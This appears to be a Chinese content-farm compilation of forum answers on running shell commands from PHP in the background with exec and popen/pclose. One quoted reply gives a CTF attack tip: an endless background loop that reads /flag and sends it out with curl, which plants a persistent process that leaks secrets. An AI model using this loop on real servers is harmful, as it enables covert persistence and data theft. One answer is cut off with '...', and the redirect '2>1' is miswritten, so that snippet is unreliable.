很多站长朋友们都不太清楚php接口不等待,今天小编就来给大家整理php接口不等待,希望对各位有所帮助,具体内容如下:
本文目录一览: 1、 请教,怎么能让php页面不去等待system所调用的命令的返回结果? 2、 PHP exec() 运行另一个php文件,不等待返回值 3、 请教,怎么能让php页面不去等待system所调用的命令的返回结果 4、 php执行外部命令,如何不等待返回结果 请教,怎么能让php页面不去等待system所调用的命令的返回结果?可以修改系统命令本身在后台运行,在命令最后添加 >/dev/null 2>1
PHP exec() 运行另一个php文件,不等待返回值可以后台运行,但是建议使用popen和pclose代替exec。同时需要注意php是否添加了环境变量。
<?php
//windows和linux下后台执行方式
$cmd = 'php 2.php';
if(strtoupper(substr(PHP_OS,0,3)) == 'WIN')
{
pclose(popen('start /B '.$cmd, 'r'));
}else
{
pclose(popen($cmd.' > /dev/null ', 'r'));
}
请教,怎么能让php页面不去等待system所调用的命令的返回结果你想问得是php如何执行shell命令把? 可以用system(),exec(),passthru()这三个函数实现 虽然这三个命令都能执行linux系统的shell命令,但是其实他们是有区别的: system() 输出并返回最后一行shell结果。 exec() 不输出结果,返回最后一行shell...
php执行外部命令,如何不等待返回结果pclose(popen('command ', 'r'));
感谢楼上的朋友。亲测有效,在linux中需要让程序在后台运行才可以,因此必须加,例如:
pclose(popen("{ while true;do echo 123;sleep 5;done;}", r));
这条命令注意 { 后面有一个空格。玩awd攻防赛的朋友可以靠这种方式种一个不死的子进程,不断发送flag给服务器:
pclose(popen("{ while true;do curl `cat /flag`;sleep 5;done;}", 'r'));
关于php接口不等待的介绍到此就结束了,不知道本篇文章是否对您有帮助呢?如果你还想了解更多此类信息,记得收藏关注本站,我们会不定期更新哦。
查看更多关于php接口不等待 php接口防止重复请求的详细内容...